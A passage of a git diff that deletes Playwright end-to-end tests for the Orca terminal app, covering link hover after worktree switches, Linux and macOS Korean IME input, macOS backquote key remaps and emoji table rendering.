MouseEvent('mousemove', { bubbles: true, cancelable: true, clientX, clientY }) - ) - }, probe) - return readActiveLinkText(page, probe.tabId) -} - -async function readActiveLinkText(page: Page, tabId: string): Promise { - return page.evaluate( - ({ tabId }) => { - const manager = window.__paneManagers?.get(tabId) - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - const core = pane?.terminal as unknown as - | { _core?: { linkifier?: { currentLink?: { link?: { text?: string } } } } } - | undefined - return core?._core?.linkifier?.currentLink?.link?.text ?? null - }, - { tabId } - ) -} - -async function readTerminalCursor(page: Page, tabId: string): Promise { - return page.evaluate((tabId) => { - const manager = window.__paneManagers?.get(tabId) - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - const screen = pane?.terminal.element?.querySelector('.xterm-screen') - return screen ? getComputedStyle(screen).cursor : null - }, tabId) -} - -async function isTerminalSurfaceVisible(page: Page, tabId: string): Promise { - return page.evaluate((tabId) => { - const manager = window.__paneManagers?.get(tabId) - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - return Boolean(pane?.container.isConnected && pane.container.getClientRects().length > 0) - }, tabId) -} - -async function activateHoveredLink(page: Page, probe: HoverProbe): Promise { - await page.evaluate(({ col, row, tabId }) => { - const manager = window.__paneManagers?.get(tabId) - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - const screen = pane?.terminal.element?.querySelector('.xterm-screen') - if (!pane || !screen) { - throw new Error('xterm-screen element unavailable') - } - const rect = screen.getBoundingClientRect() - const clientX = rect.left + (col + 0.5) * (rect.width / pane.terminal.cols) - const clientY = rect.top + (row + 0.5) * (rect.height / pane.terminal.rows) - const isMac = navigator.userAgent.includes('Mac') - const modifier = { metaKey: isMac, ctrlKey: !isMac } - screen.dispatchEvent( - new MouseEvent('mousedown', { - bubbles: true, - cancelable: true, - button: 0, - buttons: 1, - clientX, - clientY, - ...modifier - }) - ) - screen.dispatchEvent( - new MouseEvent('mouseup', { - bubbles: true, - cancelable: true, - button: 0, - clientX, - clientY, - ...modifier - }) - ) - }, probe) -} - -async function dispatchScreenMouseLeave(page: Page, tabId: string): Promise { - await page.evaluate((tabId) => { - const manager = window.__paneManagers?.get(tabId) - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - const screen = pane?.terminal.element?.querySelector('.xterm-screen') - // Model surface hide: clear current link while retaining its cell cache. - screen?.dispatchEvent(new MouseEvent('mouseleave', { bubbles: false, cancelable: true })) - }, tabId) -} - -async function activeWorktreePath(page: Page): Promise { - return page.evaluate(() => { - const state = window.__store?.getState() - const id = state?.activeWorktreeId - return ( - Object.values(state?.worktreesByRepo ?? {}) - .flat() - .find((w) => w.id === id)?.path ?? '' - ) - }) -} - -// Require hover relinkification after worktree return; contains tolerates provider display text differing from the echoed token. -async function assertLinkRecoversAfterReturn( - page: Page, - args: { - firstWorktreeId: string - secondWorktreeId: string - needle: string - expectContains: string - } -): Promise { - const probe = await locateHoverProbe(page, args.needle) - - await expect - .poll(() => hoverAndReadActiveLinkText(page, probe), { - timeout: 5_000, - message: 'baseline hover never established the link' - }) - .toContain(args.expectContains) - - await dispatchScreenMouseLeave(page, probe.tabId) - await switchToWorktree(page, args.secondWorktreeId) - await waitForActiveTerminalManager(page, 30_000) - // Wait for the intermediate hidden commit so React cannot batch away the lifecycle transition. - await expect.poll(() => isTerminalSurfaceVisible(page, probe.tabId)).toBe(false) - - await switchToWorktree(page, args.firstWorktreeId) - await ensureTerminalVisible(page) - await waitForActiveTerminalManager(page, 30_000) - await expect.poll(() => isTerminalSurfaceVisible(page, probe.tabId)).toBe(true) - - // Hover the same cell without scroll; reveal reset must re-linkify it. - await expect - .poll(() => hoverAndReadActiveLinkText(page, probe), { - timeout: 5_000, - message: 'link did not re-establish on hover after returning to the worktree' - }) - .toContain(args.expectContains) - - // Require pointer affordance plus currentLink, which xterm needs for click activation. - await expect.poll(() => readTerminalCursor(page, probe.tabId)).toBe('pointer') - return probe -} - -test.describe('Terminal link hover after worktree return', () => { - test.beforeEach(async ({ orcaPage }) => { - await waitForSessionReady(orcaPage) - }) - - test('re-establishes a URL link on hover after the pointer leaves the terminal', async ({ - orcaPage - }) => { - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - const ptyId = await waitForActivePanePtyId(orcaPage) - await waitForPtyShellEcho(orcaPage, ptyId, 15_000) - - const url = `https://example.com/orca-link-${randomUUID()}` - await sendToTerminal(orcaPage, ptyId, `echo ${url}\r`) - await expect - .poll(() => getTerminalContent(orcaPage, 4000), { - timeout: 10_000, - message: 'URL fixture did not reach the terminal buffer' - }) - .toContain(url) - - // Let streamed-output reset finish before building the mouseleave cache state. - await orcaPage.waitForTimeout(300) - const probe = await locateHoverProbe(orcaPage, url) - await expect - .poll(() => hoverAndReadActiveLinkText(orcaPage, probe), { - timeout: 5_000, - message: 'baseline hover never established the URL link' - }) - .toContain(url) - - await dispatchScreenMouseLeave(orcaPage, probe.tabId) - await expect.poll(() => readActiveLinkText(orcaPage, probe.tabId)).toBeNull() - await expect.poll(() => readTerminalCursor(orcaPage, probe.tabId)).not.toBe('pointer') - - await expect - .poll(() => hoverAndReadActiveLinkText(orcaPage, probe), { - timeout: 5_000, - message: 'URL link did not re-establish after terminal mouseleave' - }) - .toContain(url) - await expect.poll(() => readTerminalCursor(orcaPage, probe.tabId)).toBe('pointer') - }) - - test('re-establishes a file-path link on hover after switching worktrees and back', async ({ - orcaPage - }) => { - const firstWorktreeId = await waitForActiveWorktree(orcaPage) - const secondWorktreeId = (await getAllWorktreeIds(orcaPage)).find( - (id) => id !== firstWorktreeId - ) - test.skip(!secondWorktreeId, 'link-hover repro needs the seeded secondary worktree') - if (!secondWorktreeId) { - return - } - - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - const ptyId = await waitForActivePanePtyId(orcaPage) - await waitForPtyShellEcho(orcaPage, ptyId, 15_000) - - const worktreePath = await activeWorktreePath(orcaPage) - const fileName = `orca-linkfile-${randomUUID().slice(0, 8)}.txt` - const filePath = path.join(worktreePath, fileName) - writeFileSync(filePath, 'orca file link target\n') - const needle = `./${fileName}` - - try { - await sendToTerminal(orcaPage, ptyId, `echo ${needle}\r`) - await expect - .poll(() => getTerminalContent(orcaPage, 4000), { - timeout: 10_000, - message: 'file-link fixture did not reach the terminal buffer' - }) - .toContain(fileName) - - const probe = await assertLinkRecoversAfterReturn(orcaPage, { - firstWorktreeId, - secondWorktreeId, - needle, - expectContains: fileName - }) - await activateHoveredLink(orcaPage, probe) - // Require rendered editor header after activation; store state alone can hide a blank editor. - await expect(orcaPage.locator('.editor-header-path').first()).toContainText(fileName, { - timeout: 20_000 - }) - } finally { - await orcaPage.evaluate((filePath) => { - const state = window.__store?.getState() - if (state?.openFiles.some((file) => file.filePath === filePath)) { - state.closeFile(filePath) - } - }, filePath) - rmSync(filePath, { force: true }) - } - }) -}) diff --git a/tests/e2e/terminal-linux-direct-ime-commit.spec.ts b/tests/e2e/terminal-linux-direct-ime-commit.spec.ts deleted file mode 100644 index ed93c56054c..00000000000 --- a/tests/e2e/terminal-linux-direct-ime-commit.spec.ts +++ /dev/null @@ -1,64 +0,0 @@ -import { expect, test } from './helpers/orca-app' -import { readTerminalImeBoundaryTrace } from './terminal-ime-boundary-probe' -import { - createTerminalImeByteReader, - removeTerminalImeByteReader, - startTerminalImeByteReader, - waitForTerminalImeBytes -} from './terminal-ime-byte-reader' -import { - commitImeText, - dispatchImeIdleComposingTextKey, - dispatchImeSubstitutedTextKey, - dispatchPlainEnter, - setImeComposition -} from './terminal-ime-cdp-composition' -import { closeTerminalImePaneArena, openTerminalImePaneArena } from './terminal-ime-pane-arena' -import { applyImePlatformPolicy } from './terminal-ime-platform-policy' - -// CDP exercises Linux renderer policy and PTY bytes; it does not simulate native fcitx5/Wayland. -test('Linux direct IME punctuation reaches the PTY before and after composition', async ({ - orcaPage, - testRepoPath -}, testInfo) => { - await applyImePlatformPolicy(orcaPage, 'linux') - const arena = await openTerminalImePaneArena(orcaPage) - const reader = createTerminalImeByteReader(testRepoPath, 1) - let completed = false - try { - await startTerminalImeByteReader(orcaPage, arena.ptyId, reader) - for (const precedingComposition of [false, true]) { - if (precedingComposition) { - await setImeComposition(arena.session, 'ni') - await commitImeText(arena.session, '你') - } - for (const [code, glyph] of [ - ['Comma', ','], - ['Period', '。'] - ]) { - await (precedingComposition || code !== 'Comma' - ? dispatchImeSubstitutedTextKey( - arena.session, - { key: 'Process', code, keyCode: 229 }, - glyph - ) - : dispatchImeIdleComposingTextKey( - arena.page, - { key: 'Process', code, keyCode: 229 }, - glyph - )) - } - } - await dispatchPlainEnter(arena.session) - expect(await waitForTerminalImeBytes(orcaPage, reader)).toEqual([ - Buffer.from(',。你,。\n').toString('hex') - ]) - const trace = await readTerminalImeBoundaryTrace(orcaPage) - expect(trace.onData.join('')).toBe(',。你,。\r') - expect(trace.dom.filter((event) => event.type === 'compositionstart')).toHaveLength(1) - completed = true - } finally { - await closeTerminalImePaneArena(arena, testInfo, 'linux-direct-ime-commit', !completed) - removeTerminalImeByteReader(reader) - } -}) diff --git a/tests/e2e/terminal-macos-2set-korean-native.spec.ts b/tests/e2e/terminal-macos-2set-korean-native.spec.ts deleted file mode 100644 index c4d8892cadb..00000000000 --- a/tests/e2e/terminal-macos-2set-korean-native.spec.ts +++ /dev/null @@ -1,173 +0,0 @@ -import { execFileSync } from 'node:child_process' -import type { Page, TestInfo } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - focusActiveTerminalInput, - sendToTerminal, - waitForActivePanePtyId, - waitForActiveTerminalManager -} from './helpers/terminal' -import { - attachTerminalImeBoundaryEvidence, - disposeTerminalImeBoundaryProbe, - installTerminalImeBoundaryProbe, - readTerminalImeBoundaryTrace -} from './terminal-ime-boundary-probe' -import { - createTerminalImeByteReader, - removeTerminalImeByteReader, - startTerminalImeByteReader, - waitForTerminalImeBytes -} from './terminal-ime-byte-reader' - -const TWO_SET_KOREAN_ID = 'com.apple.inputmethod.Korean.2SetKorean' - -function typeNativeTwoSetKorean(processId: number, keyCodes: readonly number[]): void { - execFileSync('osascript', [ - '-e', - `tell application "System Events" to set frontmost of first application process whose unix id is ${processId} to true`, - '-e', - `tell application "System Events" to key code {${keyCodes.join(', ')}}` - ]) -} - -function typeNativeTwoSetKoreanPreedit(processId: number, keyCodes: readonly number[]): void { - execFileSync('osascript', [ - '-e', - `tell application "System Events" to set frontmost of first application process whose unix id is ${processId} to true`, - '-e', - 'tell application "System Events"', - '-e', - `repeat with currentKeyCode in {${keyCodes.join(', ')}}`, - '-e', - 'key code (currentKeyCode as integer)', - '-e', - 'delay 0.1', - '-e', - 'end repeat', - '-e', - 'end tell' - ]) -} - -function commitNativeComposition(): void { - execFileSync('osascript', ['-e', 'tell application "System Events" to key code 36']) -} - -async function readActiveComposition(page: Page): Promise { - return page.evaluate(() => { - const textarea = document.querySelector('.xterm-helper-textarea:focus') - const composition = textarea?.parentElement?.querySelector( - '.composition-view.active' - ) - return composition?.textContent?.replaceAll('\u200e', '') ?? null - }) -} - -async function runNativeScenario( - page: Page, - testInfo: TestInfo, - testRepoPath: string, - processId: number, - keyCodes: readonly number[], - expectedText: string, - preCommit?: { committedText: string; preeditText: string } -): Promise { - await waitForSessionReady(page) - await waitForActiveWorktree(page) - await ensureTerminalVisible(page) - await waitForActiveTerminalManager(page, 30_000) - await expect(page.evaluate(() => window.api.app.getKeyboardInputSourceId())).resolves.toBe( - TWO_SET_KOREAN_ID - ) - - const ptyId = await waitForActivePanePtyId(page) - const reader = createTerminalImeByteReader(testRepoPath, 1) - let completed = false - try { - await startTerminalImeByteReader(page, ptyId, reader) - await focusActiveTerminalInput(page) - await installTerminalImeBoundaryProbe(page) - if (preCommit) { - typeNativeTwoSetKoreanPreedit(processId, keyCodes) - await expect.poll(() => readActiveComposition(page)).toBe(preCommit.preeditText) - await expect - .poll(async () => (await readTerminalImeBoundaryTrace(page)).onData.join('')) - .toBe(preCommit.committedText) - commitNativeComposition() - } else { - typeNativeTwoSetKorean(processId, keyCodes) - } - - const receivedBytes = await waitForTerminalImeBytes(page, reader) - expect(receivedBytes).toEqual([Buffer.from(`${expectedText}\n`).toString('hex')]) - const trace = await readTerminalImeBoundaryTrace(page) - expect(trace.onData.join('')).toBe(`${expectedText}\r`) - completed = true - } finally { - await attachTerminalImeBoundaryEvidence(page, testInfo, 'native-macos-2set-boundaries').catch( - () => undefined - ) - await disposeTerminalImeBoundaryProbe(page).catch(() => undefined) - if (!completed) { - await sendToTerminal(page, ptyId, '\x03').catch(() => undefined) - } - removeTerminalImeByteReader(reader) - } -} - -test.describe('Native macOS 2-Set Korean terminal input @headful', () => { - test.skip( - process.platform !== 'darwin' || - process.env.ORCA_E2E_NATIVE_MACOS_KOREAN !== '1' || - process.env.ORCA_E2E_FOREGROUND !== '1', - 'Requires macOS with 2-Set Korean, Accessibility access, and an isolated foreground run' - ) - - test('forwards physical Hangul input as exact PTY bytes', async ({ - electronApp, - orcaPage, - testRepoPath - }, testInfo) => { - await runNativeScenario( - orcaPage, - testInfo, - testRepoPath, - electronApp.process().pid!, - [5, 40, 1, 15, 46, 3, 36], - '한글' - ) - }) - - test('preserves leading vowels and composes the following syllable', async ({ - electronApp, - orcaPage, - testRepoPath - }, testInfo) => { - await runNativeScenario( - orcaPage, - testInfo, - testRepoPath, - electronApp.process().pid!, - [31, 40, 0, 16, 36], - 'ㅐㅏ묘' - ) - }) - - test('flushes each syllable while the next remains in preedit', async ({ - electronApp, - orcaPage, - testRepoPath - }, testInfo) => { - await runNativeScenario( - orcaPage, - testInfo, - testRepoPath, - electronApp.process().pid!, - [15, 40, 1, 40, 14, 40], - '가나다', - { committedText: '가나', preeditText: '다' } - ) - }) -}) diff --git a/tests/e2e/terminal-macos-system-key-remap.spec.ts b/tests/e2e/terminal-macos-system-key-remap.spec.ts deleted file mode 100644 index f858f224386..00000000000 --- a/tests/e2e/terminal-macos-system-key-remap.spec.ts +++ /dev/null @@ -1,163 +0,0 @@ -/** - * Headless end-to-end coverage for a macOS system-wide key remap reaching the terminal. - * - * macOS lets a user rewrite what a physical key inserts by declaring it in - * `~/Library/KeyBindings/DefaultKeyBinding.dict`. The reported case is a Korean-source user who - * remaps the ₩ key back to a backquote: - * - * { "₩" = ("insertText:", "`"); "~₩" = ("insertText:", "₩"); } - * - * The remap is honoured by every other app on the system — browsers, native apps, and this app's - * own text inputs — and ignored only inside the terminal, which delivers the raw layout character - * to the PTY. The cause is the same one the rest of this suite is about: the substitution lives in - * the text system's `insertText:` callback, so a terminal that produces its byte from the - * **keydown** and then calls `preventDefault()` cancels the pipeline before the substitution can - * arrive. - * - * Byte-wise this is the full-width-punctuation shape with a different producer — a keydown still - * carrying the physical layout character, no composition session anywhere, and the real character - * arriving only in the following `insertText` input event — so it is dispatched through the same - * helper and pinned to the same macOS ownership policy. - * - * Two layout variants of the same physical key are covered, and the second is why this spec is not - * redundant. Korean layouts disagree about what the backquote position produces: 두벌식 and - * 세벌식 390 put ₩ there, 세벌식 최종 puts `*`. A character allowlist can only honour the remap for - * the characters someone remembered to list, so it fixes the reported ₩ and silently drops the - * identical remap for a 세벌식 최종 user. Deciding on the event's shape instead of on the character - * covers both, which is what the variant arm pins. - * - * The paired control matters as much as the positive case. A "fix" that special-cased the layout - * character into a backquote would satisfy the remap arm and be wrong for every Korean user who has - * no remap, so the unremapped key is asserted to still deliver its own character — once in the - * shape macOS produces with no remap at all (the keydown carries the glyph), and once through the - * remap path with the substitution set to that character itself, which is the config's second line. - */ -import type { CDPSession } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { closeTerminalImePaneArena, openTerminalImePaneArena } from './terminal-ime-pane-arena' -import { readTerminalImeBoundaryTrace } from './terminal-ime-boundary-probe' -import { - dispatchImeRewrittenPrintableKey, - dispatchImeSubstitutedTextKey, - dispatchPlainEnter, - type ImeKeyIdentity -} from './terminal-ime-cdp-composition' -import { - createTerminalImeByteReader, - removeTerminalImeByteReader, - startTerminalImeByteReader, - waitForTerminalImeBytes -} from './terminal-ime-byte-reader' -import { applyImePlatformPolicy, expectImePlatformPolicy } from './terminal-ime-platform-policy' - -const BACKQUOTE = '`' - -/** What the physical backquote position inserts, per Korean layout, before any remap. */ -const LAYOUT_VARIANTS = [ - { label: '두벌식', character: '₩' }, - { label: '세벌식 최종', character: '*' } -] as const - -type RemapArm = { - name: string - slug: string - /** What the text system commits for the keystroke. */ - committed: (layoutCharacter: string) => string - dispatch: (session: CDPSession, key: ImeKeyIdentity, committed: string) => Promise -} - -const REMAP_ARMS: readonly RemapArm[] = [ - { - // The reported bug. The keydown carries the layout character and the backquote exists only in - // the `insertText` event the remap produces, so anything that emits bytes from the keydown - // sends the layout character and the user's system-wide remap is dropped at the terminal. - name: 'a system remap rewrites it to a backquote', - slug: 'remapped-to-backquote', - committed: () => BACKQUOTE, - dispatch: (session, key, committed) => dispatchImeSubstitutedTextKey(session, key, committed) - }, - { - // Control. With no remap the text system commits the layout character itself and macOS puts it - // straight on the keydown. A rewrite that mapped the key to a backquote unconditionally fails - // here. - name: 'no remap is installed', - slug: 'unremapped', - committed: (layoutCharacter) => layoutCharacter, - dispatch: (session, key) => dispatchImeRewrittenPrintableKey(session, key) - }, - { - // Control on the substitution path itself, which is the config's second line: the remap is - // present and commits the layout character. Same `insertText` route as the first arm, opposite - // expected byte, so a fix that keys on the route rather than on what was committed cannot pass - // both. - name: 'a system remap substitutes it for itself', - slug: 'remapped-to-itself', - committed: (layoutCharacter) => layoutCharacter, - dispatch: (session, key, committed) => dispatchImeSubstitutedTextKey(session, key, committed) - } -] - -test.describe('Terminal macOS system key remap', () => { - for (const layout of LAYOUT_VARIANTS) { - // keyCode 192 is the backquote position itself, unchanged by which character the layout puts - // on it — the remap targets the key, not the character. - const layoutKey: ImeKeyIdentity = { key: layout.character, code: 'Backquote', keyCode: 192 } - - for (const arm of REMAP_ARMS) { - const committed = arm.committed(layout.character) - const forbidden = committed === BACKQUOTE ? layout.character : BACKQUOTE - - test(`sends ${committed} for the ${layout.label} backquote key when ${arm.name}`, async ({ - orcaPage, - testRepoPath - }, testInfo) => { - await applyImePlatformPolicy(orcaPage, 'mac') - await expectImePlatformPolicy(orcaPage, 'mac') - const arena = await openTerminalImePaneArena(orcaPage) - const reader = createTerminalImeByteReader(testRepoPath, 1) - let completed = false - try { - await startTerminalImeByteReader(orcaPage, arena.ptyId, reader) - await arm.dispatch(arena.session, layoutKey, committed) - await orcaPage.waitForTimeout(60) - await dispatchPlainEnter(arena.session) - - const trace = await readTerminalImeBoundaryTrace(orcaPage) - - // A remap is not an IME. Nothing here may open a composition session, and a spec that - // accidentally replayed one would be testing a path the suite already covers. - const compositionEvents = trace.dom - .map((event) => event.type) - .filter((type) => type.startsWith('composition')) - expect(compositionEvents).toEqual([]) - // Pins the producer: the physical backquote position, carrying the layout's character. - // What was committed is asserted on the wire below rather than on the DOM, because the - // commit's `input` event is consumed before this probe sees it once a forwarder owns it. - const keydowns = trace.dom.filter( - (event) => event.type === 'keydown' && event.code === 'Backquote' - ) - expect(keydowns).toHaveLength(1) - expect(keydowns[0].key).toBe(layout.character) - - const sent = trace.onData.join('') - expect(sent, `${forbidden} reached the PTY instead of ${committed}`).not.toContain( - forbidden - ) - expect(sent).toBe(`${committed}\r`) - - const received = await waitForTerminalImeBytes(orcaPage, reader) - expect(received).toEqual([Buffer.from(`${committed}\n`).toString('hex')]) - completed = true - } finally { - await closeTerminalImePaneArena( - arena, - testInfo, - `${arm.slug}-${layout.label}`, - !completed - ) - removeTerminalImeByteReader(reader) - } - }) - } - } -}) diff --git a/tests/e2e/terminal-opencode-emoji-table-rendering.spec.ts b/tests/e2e/terminal-opencode-emoji-table-rendering.spec.ts deleted file mode 100644 index 7a181f2f668..00000000000 --- a/tests/e2e/terminal-opencode-emoji-table-rendering.spec.ts +++ /dev/null @@ -1,305 +0,0 @@ -import type { XtermWithRenderDimensions } from './helpers/xterm-render-dimensions' -import { randomUUID } from 'node:crypto' -import { rmSync, writeFileSync } from 'node:fs' -import path from 'node:path' -import type { Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - sendToTerminal, - waitForActivePanePtyId, - waitForActiveTerminalManager, - waitForTerminalOutput -} from './helpers/terminal' -import { waitForPtyShellEcho } from './terminal-pty-readiness' -import { - analyzeRasterCursorCells, - type TerminalRasterProbeTarget -} from './terminal-cursor-raster-probe' -import { nodeTerminalCommand } from './terminal-node-command' - -type TerminalRenderState = { - coreCursorHidden: boolean | null - cursorElementCount: number - cursorVisibleElementCount: number - cursorBlink: boolean | null - blinkIntervalDuration: number | null - cursorClassName: string - cursorAnimationName: string - cursorAnimationDuration: string - rowContainerClassName: string - xtermClassName: string - hasWebglCanvas: boolean - hasComplexScriptOutput: boolean - renderer: 'dom' | 'webgl' -} - -type CursorBlinkSample = { - elapsedMs: number - paintedCursorCellCount: number -} - -const EMOJI_TABLE_MARKER = 'ORCA_EMOJI_TABLE_RENDER_DONE' - -function emojiTableScript(marker: string): string { - const table = [ - '| Emoji | Name | Age | Occupation | City | Favorite Color | Pet | Hobby |', - '| --- | --- | ---: | --- | --- | --- | --- | --- |', - '| 😀 | Alice Johnson | 28 | Engineer | New York | Blue | 🐕 Dog | 🎸 Guitar |', - '| 😂 | Bob Smith | 34 | Designer | London | Green | 🐱 Cat | 📚 Reading |', - '| 🥰 | Carol Davis | 22 | Student | Paris | Pink | 🐰 Rabbit | 🎨 Painting |', - '| 😎 | Dave Wilson | 45 | Architect | Tokyo | Black | 🐢 Turtle | 🏃 Running |', - '| 🤩 | Eve Martinez | 31 | Writer | Berlin | Purple | 🐦 Bird | ✈️ Traveling |', - '| 😜 | Frank Brown | 27 | Developer | Sydney | Red | 🐹 Hamster | 🎮 Gaming |', - '| 🥳 | Grace Lee | 39 | Teacher | Seoul | Yellow | 🐟 Fish | 🌱 Gardening |', - '| 🤔 | Henry Taylor | 41 | Doctor | Toronto | White | 🐕 Dog | 🍳 Cooking |', - '| 😴 | Ivy Anderson | 26 | Nurse | Chicago | Orange | 🐱 Cat | 🧘 Yoga |', - '| 🤗 | Jack Thomas | 33 | Lawyer | Boston | Navy | 🐢 Turtle | 📸 Photography |', - '| 😈 | Karen White | 29 | Artist | Miami | Teal | 🐹 Hamster | 🧶 Knitting |', - '| 😮 | Leo Harris | 37 | Pilot | Dubai | Gold | 🐦 Bird | 🚁 Drones |', - '| 🤠 | Mia Clark | 24 | Barista | Seattle | Coral | 🐰 Rabbit | 🎤 Singing |', - '| 😍 | Olivia Hall | 30 | Marketer | Austin | Pink | 🐱 Cat | 🏄 Surfing |' - ].join('\r\n') - - return ` -async function writeStdout(chunk) { - await new Promise((resolve) => { - process.stdout.write(chunk, resolve) - }) - if (process.platform === 'win32') { - await new Promise((resolve) => setTimeout(resolve, 8)) - } -} -await writeStdout('\\x1b[?2026h\\x1b[?25l\\x1b[2J\\x1b[H') -for (const line of ${JSON.stringify(table.split('\r\n'))}) { - await writeStdout(line + '\\r\\n') -} -await writeStdout('\\x1b[?25h\\x1b[?2026l') -await writeStdout('${marker}\\r\\n') -setTimeout(() => process.exit(0), 50) -` -} - -async function readActiveTerminalRenderState(page: Page): Promise { - return page.evaluate(() => { - const state = window.__store?.getState() - const worktreeId = state?.activeWorktreeId - const tabId = - state?.activeTabType === 'terminal' - ? state.activeTabId - : worktreeId - ? (state?.activeTabIdByWorktree?.[worktreeId] ?? null) - : null - const manager = tabId ? window.__paneManagers?.get(tabId) : null - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - if (!pane) { - throw new Error('No active terminal pane') - } - const renderingDiagnostics = manager - ?.getRenderingDiagnostics() - .find((diagnostic) => diagnostic.paneId === pane.id) - - const cursorElements = Array.from( - pane.container.querySelectorAll('.xterm-cursor, .xterm-cursor-layer *') - ) - const cursorVisibleElementCount = cursorElements.filter((element) => { - const style = window.getComputedStyle(element) - const rect = element.getBoundingClientRect() - return ( - style.display !== 'none' && - style.visibility !== 'hidden' && - Number(style.opacity || '1') > 0 && - rect.width > 0 && - rect.height > 0 - ) - }).length - - const terminal = pane.terminal as { - _core?: { - coreService?: { isCursorHidden?: boolean } - } - } - const cursorElement = pane.container.querySelector('.xterm-cursor') - const cursorStyle = cursorElement ? window.getComputedStyle(cursorElement) : null - const rowContainer = pane.container.querySelector('.xterm-rows') - const xterm = pane.container.querySelector('.xterm') - - return { - coreCursorHidden: - typeof terminal._core?.coreService?.isCursorHidden === 'boolean' - ? terminal._core.coreService.isCursorHidden - : null, - cursorElementCount: cursorElements.length, - cursorVisibleElementCount, - cursorBlink: - typeof pane.terminal.options.cursorBlink === 'boolean' - ? pane.terminal.options.cursorBlink - : null, - blinkIntervalDuration: - typeof pane.terminal.options.blinkIntervalDuration === 'number' - ? pane.terminal.options.blinkIntervalDuration - : null, - cursorClassName: cursorElement?.className ?? '', - cursorAnimationName: cursorStyle?.animationName ?? '', - cursorAnimationDuration: cursorStyle?.animationDuration ?? '', - rowContainerClassName: rowContainer?.className ?? '', - xtermClassName: xterm?.className ?? '', - hasWebglCanvas: renderingDiagnostics?.hasWebgl ?? false, - hasComplexScriptOutput: renderingDiagnostics?.hasComplexScriptOutput ?? false, - renderer: renderingDiagnostics?.hasWebgl ? 'webgl' : 'dom' - } - }) -} - -async function forceCursorProbeTheme(page: Page): Promise { - await page.evaluate(() => { - const state = window.__store?.getState() - const worktreeId = state?.activeWorktreeId - const tabId = - state?.activeTabType === 'terminal' - ? state.activeTabId - : worktreeId - ? (state?.activeTabIdByWorktree?.[worktreeId] ?? null) - : null - const manager = tabId ? window.__paneManagers?.get(tabId) : null - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - if (!pane) { - throw new Error('No active terminal pane') - } - pane.terminal.options.theme = { - ...pane.terminal.options.theme, - cursor: '#23ff45', - cursorAccent: '#001000' - } - pane.terminal.options.cursorStyle = 'block' - pane.terminal.options.cursorBlink = true - pane.terminal.focus() - pane.terminal.refresh(0, pane.terminal.rows - 1) - }) -} - -async function readActiveTerminalRasterTarget(page: Page): Promise { - return page.evaluate(() => { - const state = window.__store?.getState() - const worktreeId = state?.activeWorktreeId - const tabId = - state?.activeTabType === 'terminal' - ? state.activeTabId - : worktreeId - ? (state?.activeTabIdByWorktree?.[worktreeId] ?? null) - : null - const manager = tabId ? window.__paneManagers?.get(tabId) : null - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - if (!pane) { - throw new Error('No active terminal pane') - } - const screen = pane.container.querySelector('.xterm-screen') - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: xterm has no public cell-size API; the private render service is read through all-optional fields. - const dimensions = (pane.terminal as XtermWithRenderDimensions)._core?._renderService - ?.dimensions?.css?.cell - if (!screen || !dimensions) { - throw new Error('Active terminal has no measurable xterm screen') - } - const rect = screen.getBoundingClientRect() - return { - clip: { x: rect.x, y: rect.y, width: rect.width, height: rect.height }, - cellWidth: dimensions.width, - cellHeight: dimensions.height, - rows: pane.terminal.rows, - cols: pane.terminal.cols - } - }) -} - -async function sampleCursorBlink(page: Page): Promise { - const samples: CursorBlinkSample[] = [] - const target = await readActiveTerminalRasterTarget(page) - const viewport = page.viewportSize() ?? undefined - const start = performance.now() - for (let index = 0; index < 9; index += 1) { - if (index > 0) { - await page.waitForTimeout(200) - } - const screenshot = await page.screenshot() - const cells = analyzeRasterCursorCells(Buffer.from(screenshot), target, viewport) - samples.push({ - elapsedMs: performance.now() - start, - paintedCursorCellCount: cells.length - }) - } - return samples -} - -async function enableRiskyTerminalRendererPath(page: Page): Promise { - await page.evaluate(() => { - const store = window.__store - if (!store) { - throw new Error('window.__store unavailable') - } - const state = store.getState() - store.setState({ - settings: { - ...state.settings!, - terminalGpuAcceleration: 'auto', - theme: 'dark' - } - }) - const worktreeId = state.activeWorktreeId - const tabId = - state.activeTabType === 'terminal' - ? state.activeTabId - : worktreeId - ? (state.activeTabIdByWorktree?.[worktreeId] ?? null) - : null - const manager = tabId ? window.__paneManagers?.get(tabId) : null - manager?.setTerminalGpuAcceleration('auto') - }) -} - -test.describe('OpenCode emoji table terminal rendering', () => { - test('keeps emoji table output visually sane and restores the cursor', async ({ - orcaPage, - testRepoPath - }, testInfo) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - await enableRiskyTerminalRendererPath(orcaPage) - - const ptyId = await waitForActivePanePtyId(orcaPage) - await waitForPtyShellEcho(orcaPage, ptyId, 20_000) - const runId = randomUUID() - const marker = `${EMOJI_TABLE_MARKER}_${runId}` - const scriptPath = path.join(testRepoPath, `.orca-opencode-emoji-table-${runId}.mjs`) - writeFileSync(scriptPath, emojiTableScript(marker)) - try { - await sendToTerminal(orcaPage, ptyId, `${nodeTerminalCommand([scriptPath])}\r`) - await waitForTerminalOutput(orcaPage, marker, 10_000) - await orcaPage.waitForTimeout(250) - await forceCursorProbeTheme(orcaPage) - await orcaPage.waitForTimeout(50) - - const renderState = await readActiveTerminalRenderState(orcaPage) - const blinkSamples = await sampleCursorBlink(orcaPage) - - testInfo.annotations.push({ - type: 'opencode-emoji-table-rendering', - description: JSON.stringify({ renderState, blinkSamples }) - }) - - expect(renderState.hasComplexScriptOutput).toBe(false) - 